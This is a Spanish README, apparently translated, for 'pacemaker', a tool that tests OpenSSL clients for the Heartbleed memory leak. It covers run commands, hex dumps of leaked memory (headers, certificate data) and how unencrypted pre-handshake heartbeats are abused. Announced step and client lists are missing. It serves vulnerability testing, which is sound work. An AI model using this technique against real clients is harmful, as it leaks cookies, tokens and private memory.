
Heartbleed (CVE-2014-0160) exploit de cliente
Intenta abusar de clientes OpenSSL clientes vulnerables a Heartbleed (CVE-2014-0160). Compatible con Python 2 y 3.
Ejecuta el servidor:
python pacemaker.py
En tu cliente, abre https://localhost:4433/ (reemplaza el hostname si es necesario). Por ejemplo:
curl https://localhost:4433/
El cliente siempre fallará al conectar:
curl: (35) Unknown SSL protocol error in connection to localhost:4433
Si no eres vulnerable, el servidor mostrará algo como:
Connection from: 127.0.0.1:40736
Possibly not vulnerable
Si eres vulnerable, verás algo como:
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
Las líneas posteriores llenas de bytes NUL se pliegan en una con un * a partir de ahí
(como la herramienta xxd).
Un ejemplo donde se filtra memoria más "interesante" usando
wget -O /dev/null https://google.com https://localhost:4433:
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
Los heartbeats TLS pueden ser enviados por cualquiera de las partes de una conexión TLS. Tras completarse el handshake, estos heartbeats están cifrados. Pero aparentemente OpenSSL permite mensajes heartbeat antes de que el handshake se complete. Estos heartbeats (encima de la capa de registro) ¡no están cifrados en absoluto!
Esto hace que sea muy fácil explotar el bug en clientes:
Ten en cuenta que no se necesitan certificados, ya que los heartbeats son aceptados antes de que se intercambie cualquier certificado o clave de cifrado. Como la longitud de las solicitudes heartbeat no está verificada, se pueden leer hasta 64 kiB de memoria de la memoria del cliente.
pacemaker realiza los pasos anteriores y asume que un cliente no es vulnerable si el paso 3 produce datos que no sean Alertas. Si es necesario para algunos protocolos (SMTP con STARTTLS, por ejemplo), se intercambian datos adicionales antes de que comience el handshake TLS.
Ejecuta ./pacemaker.py -h para más opciones. Las opciones más importantes son
probablemente -t (--timeout) y -x (--count). El tiempo de espera predeterminado es de 3
segundos, que debería ser suficiente para que la mayoría de los clientes respondan (a menos que haya un
enlace satelital o algo similar).
Ejemplo para ser más paciente por heartbeat (5 segundos) y obtener cuatro respuestas heartbeat:
./pacemaker.py -t 5 -x 4
En teoría, los heartbeats pueden tardar veinte segundos ahora, pero en la práctica obtendrás respuestas mucho más rápido.
Los siguientes clientes han sido probados contra OpenSSL 1.0.1f en Arch Linux y filtraron memoria antes del handshake:
links es un gran ejemplo que demuestra el efecto de este bug en los clientes. Es un navegador basado en texto que filtra detalles incluyendo cabeceras (cookies, tokens de autorización) y contenido de páginas.
pacemaker tiene licencia MIT. Consulta el archivo LICENSE para más detalles.
Esta es una implementación que utiliza pacemaker para construir paquetes. Tiene el inconveniente de que las solicitudes repetidas necesitan establecer una nueva conexión para cada intento porque el servidor reinicia inmediatamente la conexión después de la primera respuesta heartbeat.
El inconveniente es una limitación resultante del enfoque adoptado: si el handshake fuera completado también por el cliente, entonces se podrían enviar muchos handshakes cifrados sin fallos de conexión.
heartbleed.py es parte de pacemaker, por lo que está bajo los mismos términos de licencia.
Los siguientes servidores han sido probados contra OpenSSL 1.0.1f en Arch Linux (a menos que se indique lo contrario):
openssl s_server (HTTPS)Este repositorio también contiene una versión funcional que apunta a servidores. ssltest.py fue creado por Jared Stafford ([email protected]), ¡todos los créditos corresponden a él! Se obtuvo de http://s3.jspenguin.org/ssltest.py.
Por el momento, el script solo es compatible con Python 2.